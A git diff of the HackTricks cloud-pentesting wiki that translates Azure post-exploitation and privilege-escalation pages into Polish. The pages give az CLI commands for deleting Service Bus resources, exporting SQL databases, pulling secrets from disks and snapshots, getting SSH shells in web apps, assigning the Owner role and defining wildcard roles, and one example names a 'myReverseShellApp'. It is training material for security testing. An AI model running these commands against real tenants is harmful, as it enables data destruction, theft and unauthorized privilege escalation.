@@ -79,15 +66,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - -## References +## Odniesienia - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 2fdb2dc55..465a9e7d3 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -4,7 +4,7 @@ ## Service Bus -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../az-services/az-servicebus-enum.md @@ -12,81 +12,65 @@ For more information check: ### Actions: `Microsoft.ServiceBus/namespaces/Delete` -An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows. - +Atakujący z tym uprawnieniem może usunąć cały namespace Azure Service Bus. Ta akcja usuwa namespace oraz wszystkie powiązane zasoby, w tym kolejki, tematy, subskrypcje i ich wiadomości, powodując szerokie zakłócenia i trwałą utratę danych we wszystkich zależnych systemach i przepływach pracy. ```bash az servicebus namespace delete --resource-group --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete` -An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic. - +Atakujący z tym uprawnieniem może usunąć temat Azure Service Bus. Ta akcja usuwa temat oraz wszystkie jego powiązane subskrypcje i wiadomości, co może prowadzić do utraty krytycznych danych i zakłócenia systemów oraz przepływów pracy opartych na tym temacie. ```bash az servicebus topic delete --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete` -An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue. - +Atakujący z tym uprawnieniem może usunąć kolejkę Azure Service Bus. Ta akcja usuwa kolejkę oraz wszystkie wiadomości w niej, co może prowadzić do utraty krytycznych danych i zakłócenia systemów oraz procesów zależnych od kolejki. ```bash az servicebus queue delete --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` -An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription. - +Napastnik z tym uprawnieniem może usunąć subskrypcję Azure Service Bus. Ta akcja usuwa subskrypcję oraz wszystkie jej powiązane wiadomości, co może zakłócić przepływy pracy, przetwarzanie danych i operacje systemowe polegające na subskrypcji. ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` -An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk. - +Napastnik z uprawnieniami do tworzenia lub modyfikowania przestrzeni nazw Azure Service Bus może to wykorzystać do zakłócania operacji, wdrażania nieautoryzowanych zasobów lub ujawniania wrażliwych danych. Mogą zmieniać krytyczne konfiguracje, takie jak włączanie dostępu do sieci publicznej, obniżanie ustawień szyfrowania lub zmiana SKU w celu pogorszenia wydajności lub zwiększenia kosztów. Dodatkowo mogą wyłączyć lokalną autoryzację, manipulować lokalizacjami replik lub dostosowywać wersje TLS, aby osłabić kontrole bezpieczeństwa, co sprawia, że błędna konfiguracja przestrzeni nazw stanowi istotne ryzyko po eksploatacji. ```bash az servicebus namespace create --resource-group --name --location az servicebus namespace update --resource-group --name --tags ``` - ### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`) -An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk. - +Atakujący z uprawnieniami do tworzenia lub modyfikowania kolejek Azure Service Bus (aby zmodyfikować kolejkę, będziesz również potrzebować akcji: `Microsoft.ServiceBus/namespaces/queues/read`) może to wykorzystać do przechwytywania danych, zakłócania przepływów pracy lub umożliwienia nieautoryzowanego dostępu. Mogą zmieniać krytyczne konfiguracje, takie jak przekazywanie wiadomości do złośliwych punktów końcowych, dostosowywanie TTL wiadomości w celu niewłaściwego przechowywania lub usuwania danych, lub włączanie dead-lettering w celu zakłócania obsługi błędów. Dodatkowo mogą manipulować rozmiarami kolejek, czasami blokady lub statusami, aby zakłócać funkcjonalność usługi lub unikać wykrycia, co czyni to istotnym ryzykiem po eksploatacji. ```bash az servicebus queue create --resource-group --namespace-name --name az servicebus queue update --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation. - +Atakujący z uprawnieniami do tworzenia lub modyfikowania tematów (aby zmodyfikować temat, będziesz również potrzebować akcji: `Microsoft.ServiceBus/namespaces/topics/read`) w obrębie przestrzeni nazw Azure Service Bus może to wykorzystać do zakłócania przepływów wiadomości, ujawniania wrażliwych danych lub umożliwienia nieautoryzowanych działań. Używając poleceń takich jak az servicebus topic update, mogą manipulować konfiguracjami, takimi jak włączanie partycjonowania w celu nadużycia skalowalności, zmiana ustawień TTL, aby niewłaściwie zatrzymywać lub odrzucać wiadomości, lub wyłączanie wykrywania duplikatów, aby obejść kontrole. Dodatkowo mogą dostosować limity rozmiaru tematów, zmienić status, aby zakłócić dostępność, lub skonfigurować tematy ekspresowe do tymczasowego przechowywania przechwyconych wiadomości, co sprawia, że zarządzanie tematami jest kluczowym punktem w zakresie łagodzenia skutków po eksploatacji. ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios. - +Atakujący z uprawnieniami do tworzenia lub modyfikowania subskrypcji (aby zmodyfikować subskrypcję, będziesz również potrzebować akcji: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) w obrębie tematu Azure Service Bus może to wykorzystać do przechwytywania, przekierowywania lub zakłócania przepływów wiadomości. Używając poleceń takich jak az servicebus topic subscription update, mogą manipulować konfiguracjami, takimi jak włączanie dead lettering w celu przekierowania wiadomości, przesyłanie wiadomości do nieautoryzowanych punktów końcowych lub modyfikowanie TTL i czasu blokady, aby zatrzymać lub zakłócić dostarczanie wiadomości. Dodatkowo mogą zmieniać ustawienia statusu lub maksymalnej liczby dostarczeń, aby zakłócać operacje lub unikać wykrycia, co sprawia, że kontrola subskrypcji jest kluczowym aspektem scenariuszy po eksploatacji. ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name ``` +### Działania: `AuthorizationRules` Wysyłanie i Odbieranie Wiadomości -### Actions: `AuthorizationRules` Send & Recive Messages - -Take a look here: +Zobacz tutaj: {{#ref}} ../az-privilege-escalation/az-queue-privesc.md {{#endref}} -## References +## Odniesienia - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api @@ -97,7 +81,3 @@ Take a look here: - https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 7a8b1c1d5..d7d24c4db 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -4,7 +4,7 @@ ## SQL Database Post Exploitation -For more information about SQL Database check: +Aby uzyskać więcej informacji na temat SQL Database, sprawdź: {{#ref}} ../az-services/az-sql.md @@ -12,8 +12,7 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" -With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Dzięki tym uprawnieniom, atakujący może tworzyć i aktualizować bazy danych w skompromitowanym środowisku. Ta aktywność po eksploatacji może pozwolić atakującemu na dodanie złośliwych danych, modyfikację konfiguracji bazy danych lub wstawienie backdoorów dla dalszej persystencji, co potencjalnie może zakłócić operacje lub umożliwić dodatkowe złośliwe działania. ```bash # Create Database az sql db create --resource-group --server --name @@ -21,73 +20,63 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` - ### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" -With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Dzięki tym uprawnieniom, atakujący może tworzyć i aktualizować elasticPools w skompromitowanym środowisku. Ta aktywność po eksploatacji może pozwolić atakującemu na dodanie złośliwych danych, modyfikację konfiguracji bazy danych lub wstawienie tylnej furtki dla dalszej persystencji, co potencjalnie może zakłócić operacje lub umożliwić dodatkowe złośliwe działania. ```bash # Create Elastic Pool az sql elastic-pool create \ - --name \ - --server \ - --resource-group \ - --edition \ - --dtu +--name \ +--server \ +--resource-group \ +--edition \ +--dtu # Update Elastic Pool az sql elastic-pool update \ - --name \ - --server \ - --resource-group \ - --dtu \ - --tags +--name \ +--server \ +--resource-group \ +--dtu \ +--tags ``` - ### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" -With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved. - +Dzięki temu uprawnieniu możesz modyfikować lub włączać ustawienia audytu na serwerze Azure SQL. Może to pozwolić atakującemu lub uprawnionemu użytkownikowi na manipulowanie konfiguracjami audytu, potencjalnie ukrywając ślady lub przekierowując dzienniki audytu do lokalizacji pod ich kontrolą. Może to utrudnić monitorowanie bezpieczeństwa lub umożliwić śledzenie działań. UWAGA: Aby włączyć audyt dla serwera Azure SQL przy użyciu Blob Storage, musisz podłączyć konto magazynowe, w którym mogą być zapisywane dzienniki audytu. ```bash az sql server audit-policy update \ - --server \ - --resource-group \ - --state Enabled \ - --storage-account \ - --retention-days 7 +--server \ +--resource-group \ +--state Enabled \ +--storage-account \ +--retention-days 7 ``` - ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" -With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings - +Dzięki temu uprawnieniu możesz modyfikować polityki połączeń serwera Azure SQL. Ta funkcjonalność może być wykorzystana do włączenia lub zmiany ustawień połączeń na poziomie serwera. ```bash az sql server connection-policy update \ - --server \ - --resource-group \ - --connection-type +--server \ +--resource-group \ +--connection-type ``` - ### "Microsoft.Sql/servers/databases/export/action" -With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this. - +Dzięki temu uprawnieniu możesz eksportować bazę danych z serwera Azure SQL do konta magazynowego. Atakujący lub uprawniony użytkownik z tym uprawnieniem może wyeksportować wrażliwe dane z bazy danych do lokalizacji, którą kontroluje, co stanowi istotne ryzyko naruszenia danych. Ważne jest, aby znać klucz magazynu, aby móc to wykonać. ```bash az sql db export \ - --server \ - --resource-group \ - --name \ - --storage-uri \ - --storage-key-type SharedAccessKey \ - --admin-user \ - --admin-password +--server \ +--resource-group \ +--name \ +--storage-uri \ +--storage-key-type SharedAccessKey \ +--admin-user \ +--admin-password ``` - ### "Microsoft.Sql/servers/databases/import/action" -With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server. - +Dzięki temu uprawnieniu możesz zaimportować bazę danych do serwera Azure SQL. Atakujący lub uprawniony użytkownik z tym uprawnieniem może potencjalnie przesłać złośliwe lub zmanipulowane bazy danych. Może to prowadzić do uzyskania kontroli nad wrażliwymi danymi lub poprzez osadzenie szkodliwych skryptów lub wyzwalaczy w zaimportowanej bazie danych. Dodatkowo możesz zaimportować ją na własny serwer w Azure. Uwaga: Serwer musi zezwalać na dostęp usług i zasobów Azure do serwera. ```bash az sql db import --admin-user \ --admin-password \ @@ -98,9 +87,4 @@ az sql db import --admin-user \ --storage-key \ --storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index 06e5df01e..27f3e26f3 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Table Storage Post Exploitation -For more information about table storage check: +Aby uzyskać więcej informacji na temat przechowywania tabel, sprawdź: {{#ref}} ../az-services/az-table-storage.md @@ -12,57 +12,49 @@ For more information about table storage check: ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read -A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**. - +Podmiot z tym uprawnieniem będzie mógł **wyświetlić** tabele w przechowywaniu tabel oraz **przeczytać informacje**, które mogą zawierać **wrażliwe informacje**. ```bash # List tables az storage table list --auth-mode login --account-name # Read table (top 10) az storage entity query \ - --account-name \ - --table-name \ - --auth-mode login \ - --top 10 +--account-name \ +--table-name \ +--auth-mode login \ +--top 10 ``` - ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it). - -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions. -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries +Osoba z tymi uprawnieniami będzie mogła **zapisywać i nadpisywać wpisy w tabelach**, co może pozwolić jej na wyrządzenie szkód lub nawet eskalację uprawnień (np. nadpisanie zaufanych danych, które mogą wykorzystać jakąś lukę w aplikacji, która z nich korzysta). +- Uprawnienie `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` pozwala na wszystkie działania. +- Uprawnienie `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` pozwala na **dodawanie** wpisów. +- Uprawnienie `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` pozwala na **aktualizowanie** istniejących wpisów. ```bash # Add az storage entity insert \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Replace az storage entity replace \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Update az storage entity merge \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +To pozwoli na usunięcie pliku w udostępnionym systemie plików, co może **przerwać niektóre usługi** lub spowodować, że klient **straci cenne informacje**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 900a5d9ce..2610503fd 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -4,7 +4,7 @@ ## VMs & Network -For more info about Azure VMs and networking check the following page: +Aby uzyskać więcej informacji na temat Azure VMs i sieci, sprawdź następującą stronę: {{#ref}} ../az-services/vms/ @@ -12,86 +12,73 @@ For more info about Azure VMs and networking check the following page: ### VM Application Pivoting -VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**. +Aplikacje VM mogą być udostępniane innym subskrypcjom i najemcom. Jeśli aplikacja jest udostępniana, prawdopodobnie dlatego, że jest używana. Więc jeśli atakujący uda się **skompromitować aplikację i przesłać wersję z backdoorem**, może być możliwe, że zostanie ona **wykonana w innym najemcy lub subskrypcji**. ### Sensitive information in images -It might be possible to find **sensitive information inside images** taken from VMs in the past. +Możliwe, że można znaleźć **wrażliwe informacje w obrazach** pobranych z VM w przeszłości. 1. **List images** from galleries - ```bash # Get galleries az sig list -o table # List images inside gallery az sig image-definition list \ - --resource-group \ - --gallery-name \ - -o table +--resource-group \ +--gallery-name \ +-o table # Get images versions az sig image-version list \ - --resource-group \ - --gallery-name \ - --gallery-image-definition \ - -o table +--resource-group \ +--gallery-name \ +--gallery-image-definition \ +-o table ``` - -2. **List custom images** - +2. **Lista niestandardowych obrazów** ```bash az image list -o table ``` - -3. **Create VM from image ID** and search for sensitive info inside of it - +3. **Utwórz VM z identyfikatorem obrazu** i przeszukaj go w poszukiwaniu wrażliwych informacji. ```bash # Create VM from image az vm create \ - --resource-group \ - --name \ - --image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ - --admin-username \ - --generate-ssh-keys +--resource-group \ +--name \ +--image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ +--admin-username \ +--generate-ssh-keys ``` +### Wrażliwe informacje w punktach przywracania -### Sensitive information in restore points - -It might be possible to find **sensitive information inside restore points**. - -1. **List restore points** +Możliwe, że można znaleźć **wrażliwe informacje w punktach przywracania**. +1. **Lista punktów przywracania** ```bash az restore-point list \ - --resource-group \ - --restore-point-collection-name \ - -o table +--resource-group \ +--restore-point-collection-name \ +-o table ``` - -2. **Create a disk** from a restore point - +2. **Utwórz dysk** z punktu przywracania ```bash az disk create \ - --resource-group \ - --name \ - --source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ +--resource-group \ +--name \ +--source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ ``` - -3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already) - +3. **Podłącz dysk do VM** (atakujący musi już mieć skompromitowane VM w obrębie konta) ```bash az vm disk attach \ - --resource-group \ - --vm-name \ - --name +--resource-group \ +--vm-name \ +--name ``` - -4. **Mount** the disk and **search for sensitive info** +4. **Zamontuj** dysk i **przeszukaj w poszukiwaniu wrażliwych informacji** {{#tabs }} {{#tab name="Linux" }} - ```bash # List all available disks sudo fdisk -l @@ -103,83 +90,70 @@ sudo file -s /dev/sdX sudo mkdir /mnt/mydisk sudo mount /dev/sdX1 /mnt/mydisk ``` - {{#endtab }} {{#tab name="Windows" }} -#### **1. Open Disk Management** +#### **1. Otwórz Zarządzanie dyskami** -1. Right-click **Start** and select **Disk Management**. -2. The attached disk should appear as **Offline** or **Unallocated**. +1. Kliknij prawym przyciskiem myszy **Start** i wybierz **Zarządzanie dyskami**. +2. Podłączony dysk powinien pojawić się jako **Offline** lub **Nieprzydzielony**. -#### **2. Bring the Disk Online** +#### **2. Włącz dysk** -1. Locate the disk in the bottom pane. -2. Right-click the disk (e.g., **Disk 1**) and select **Online**. +1. Zlokalizuj dysk w dolnym panelu. +2. Kliknij prawym przyciskiem myszy na dysk (np. **Dysk 1**) i wybierz **Online**. -#### **3. Initialize the Disk** +#### **3. Zainicjuj dysk** -1. If the disk is not initialized, right-click and select **Initialize Disk**. -2. Choose the partition style: - - **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems. +1. Jeśli dysk nie jest zainicjowany, kliknij prawym przyciskiem myszy i wybierz **Zainicjuj dysk**. +2. Wybierz styl partycji: +- **MBR** (Master Boot Record) lub **GPT** (GUID Partition Table). GPT jest zalecane dla nowoczesnych systemów. -#### **4. Create a New Volume** +#### **4. Utwórz nową woluminę** -1. Right-click the unallocated space on the disk and select **New Simple Volume**. -2. Follow the wizard to: - - Assign a drive letter (e.g., `D:`). - - Format the disk (choose NTFS for most cases). - {{#endtab }} - {{#endtabs }} +1. Kliknij prawym przyciskiem myszy na nieprzydzielonym miejscu na dysku i wybierz **Nowy prosty wolumin**. +2. Postępuj zgodnie z kreatorem, aby: +- Przypisać literę dysku (np. `D:`). +- Sformatować dysk (wybierz NTFS w większości przypadków). +{{#endtab }} +{{#endtabs }} -### Sensitive information in disks & snapshots +### Wrażliwe informacje na dyskach i migawkach -It might be possible to find **sensitive information inside disks or even old disk's snapshots**. - -1. **List snapshots** +Możliwe jest znalezienie **wrażliwych informacji wewnątrz dysków lub nawet starych migawek dysków**. +1. **Lista migawek** ```bash az snapshot list \ - --resource-group \ - -o table +--resource-group \ +-o table ``` - -2. **Create disk from snapshot** (if needed) - +2. **Utwórz dysk z migawki** (jeśli potrzebne) ```bash az disk create \ - --resource-group \ - --name \ - --source \ - --size-gb +--resource-group \ +--name \ +--source \ +--size-gb ``` +3. **Dołącz i zamontuj dysk** do VM i przeszukaj w poszukiwaniu wrażliwych informacji (sprawdź poprzednią sekcję, aby zobaczyć, jak to zrobić) -3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this) +### Wrażliwe informacje w rozszerzeniach VM i aplikacjach VM -### Sensitive information in VM Extensions & VM Applications - -It might be possible to find **sensitive information inside VM extensions and VM applications**. - -1. **List all VM apps** +Możliwe, że można znaleźć **wrażliwe informacje wewnątrz rozszerzeń VM i aplikacji VM**. +1. **Wypisz wszystkie aplikacje VM** ```bash ## List all VM applications inside a gallery az sig gallery-application list --gallery-name --resource-group --output table ``` - -2. Install the extension in a VM and **search for sensitive info** - +2. Zainstaluj rozszerzenie w VM i **wyszukaj wrażliwe informacje** ```bash az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md index 662469fc5..681b4ac7a 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md @@ -1,6 +1 @@ -# Az - Privilege Escalation - - - - - +# Az - Eskalacja Uprawnień diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 6a805ae88..b2e194cd2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,7 +4,7 @@ ## App Services -For more information about Azure App services check: +Aby uzyskać więcej informacji na temat usług aplikacji Azure, sprawdź: {{#ref}} ../az-services/az-app-service.md @@ -12,17 +12,14 @@ For more information about Azure App services check: ### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, -These permissions allows to call the following commands to get a **SSH shell** inside a web app - -- Direct option: +Te uprawnienia pozwalają na wywołanie następujących poleceń w celu uzyskania **SSH shell** wewnątrz aplikacji webowej +- Opcja bezpośrednia: ```bash # Direct option az webapp ssh --name --resource-group ``` - -- Create tunnel and then connect to SSH: - +- Utwórz tunel, a następnie połącz się z SSH: ```bash az webapp create-remote-connection --name --resource-group @@ -35,9 +32,4 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index f8c4359f3..e4b5d1021 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -Fore more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../az-services/az-azuread.md @@ -12,45 +12,38 @@ Fore more information check: ### Microsoft.Authorization/roleAssignments/write -This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role: - +To uprawnienie pozwala na przypisywanie ról do podmiotów w określonym zakresie, co pozwala atakującemu na eskalację uprawnień poprzez przypisanie sobie bardziej uprzywilejowanej roli: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` - ### Microsoft.Authorization/roleDefinitions/Write -This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned. - -Create the file `role.json` with the following **content**: +To uprawnienie pozwala na modyfikację uprawnień przyznanych przez rolę, co pozwala atakującemu na eskalację uprawnień poprzez przyznanie większych uprawnień do roli, którą przypisał. +Utwórz plik `role.json` z następującą **zawartością**: ```json { - "Name": "", - "IsCustom": true, - "Description": "Custom role with elevated privileges", - "Actions": ["*"], - "NotActions": [], - "DataActions": ["*"], - "NotDataActions": [], - "AssignableScopes": ["/subscriptions/"] +"Name": "", +"IsCustom": true, +"Description": "Custom role with elevated privileges", +"Actions": ["*"], +"NotActions": [], +"DataActions": ["*"], +"NotDataActions": [], +"AssignableScopes": ["/subscriptions/"] } ``` - -Then update the role permissions with the previous definition calling: - +Następnie zaktualizuj uprawnienia roli za pomocą poprzedniej definicji, wywołując: ```bash az role definition update --role-definition role.json ``` - ### Microsoft.Authorization/elevateAccess/action -This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over 